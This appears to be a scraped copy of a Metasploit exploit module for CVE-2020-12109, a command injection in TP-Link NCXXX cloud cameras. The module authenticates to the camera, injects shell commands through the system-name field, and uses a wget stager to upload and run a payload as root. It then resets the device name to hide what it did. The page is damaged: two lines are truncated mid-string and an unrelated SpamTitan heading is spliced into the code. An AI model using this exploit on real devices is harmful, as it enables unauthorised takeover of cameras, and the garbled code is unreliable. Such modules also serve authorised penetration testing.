1 ##
2 # This module requires Metasploit: https://metasploit.com/download
3 # Current source: https://github.com/rapid7/metasploit-framework
4 ##
5
6 class MetasploitModule < Msf::Exploit::Remote
7 Rank = ExcellentRanking
8
9 include Msf::Exploit::Remote::HttpClient
10 include Msf::Exploit::CmdStager
11
12 def initialize(info = {})
13 super(
14 update_info(
15 info,
16 'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
17 'Description' => %q{
18 TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
19 NC250, NC260, NC450) are vulnerable to an authenticated command
20 injection. In all devices except NC210, despite a check on the name length in
21 swSystemSetProductAliasCheck, no other checks are in place in order
22 to prevent shell metacharacters from being introduced. The system name
23 would then be used in swBonjourStartHTTP as part of a shell command
24 where arbitrary commands could be injected and executed as root. NC210 devices
25 cannot be exploited directly via /setsysname.cgi due to proper input
26 validation. NC210 devices are still vulnerable since swBonjourStartHTTP
27 did not perform any validation when reading the alias name from the
28 configuration file. The configuration file can be written, and code
29 execution can be achieved by combining this issue with CVE-2020-12110.
30 },
31 'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'],
32 'License' => MSF_LICENSE,
33 'References' =>
34 [
35 [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12109' ],
36 [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ],
37 [ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ],
38 [ 'CVE', '2020-12109']
39 ],
40 'DisclosureDate' => '2020-04-29',
41 'Platform' => 'linux',
42 'Arch' => ARCH_MIPSLE,
43 'Targets' =>
44 [
45 [
46 'TP-Link NC200, NC220, NC230, NC250',
47 {
48 'Arch' => ARCH_MIPSLE,
49 'Platform' => 'linux',
50 'CmdStagerFlavor' => [ 'wget' ]
51 }
52 ],
53 [
54 'TP-Link NC260, NC450',
55 {
56 'Arch' => ARCH_MIPSLE,
57 'Platform' => 'linux',
58 'CmdStagerFlavor' => [ 'wget' ],
59 'DefaultOptions' => { 'SSL' => true }
60 }
61 ]
62 ],
63 'DefaultTarget' => 0
64 )
65 )
66
67 register_options(
68 [
69 OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]),
70 OptString.new('PASSWORD', [ true, 'The web interface password for the specified userna
71 ]
72 )
73 end
74
75 def login
76 user = datastore['USERNAME']
77 pass = Base64.strict_encode64(datastore['PASSWORD'])
78 if target.name == 'TP-Link NC260, NC450'
79 pass = Rex::Text.md5(pass)
80 end
81
82 print_status("Authenticating with #{user}:#{pass} ...")
83 begin
84 res = send_request_cgi({
85 'uri' => '/login.fcgi',
86 'method' => 'POST',
87 'vars_post' => {
88 'Username' => user,
89 'Password' => pass
90 }
91 })
92 if res.nil? || res.code == 404
93 fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?')
94 end
95 if res.body =~ /\"errorCode\"\:0/ && res.headers.key?('Set-Cookie') && res.body =~ /toke
96 print_good("Logged-in as #{user}")
97 @cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1]
98 print_good("Got cookie: #{@cookie}")
99 @token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1]
100 print_good("Got token: #{@token}")
101 else
102 fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}")
103 end
104 rescue ::Rex::ConnectionError
105 fail_with(Failure::Unreachable, 'Connection failed')
106 end
107 end
108
109 def enable_bonjour
110 res = send_request_cgi({
111 'uri' => '/setbonjoursetting.fcgi',
112 'method' => 'POST',
113 'encode_params' => false,
114 'cookie' => "sess=#{@cookie}",
115 'vars_post' => {
116 'bonjourState' => '1',
33.SpamTitan 7.07多个RCE漏洞
117 'token' => @token.to_s
118 }
119 })
120 return res
121 rescue ::Rex::ConnectionError
122 vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
123 return nil
124 end
125
126 def sys_name(cmd)
127 res = send_request_cgi({
128 'uri' => '/setsysname.fcgi',
129 'method' => 'POST',
130 'encode_params' => true,
131 'cookie' => "sess=#{@cookie}",
132 'vars_post' => {
133 'sysname' => cmd,
134 'token' => @token.to_s
135 }
136 })
137 return res
138 rescue ::Rex::ConnectionError
139 vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
140 return nil
141 end
142
143 def execute_command(cmd, _opts = {})
144 print_status("Executing command: #{cmd}")
145 sys_name("$(#{cmd})")
146 end
147
148 def exploit
149 login # Get cookie and csrf token
150 enable_bonjour # Enable bonjour service
151 execute_cmdstager # Upload and execute payload
152 sys_name('NC200') # Set back an innocent-looking device name
153 end
154
155 end 

最后更新: 2021-03-24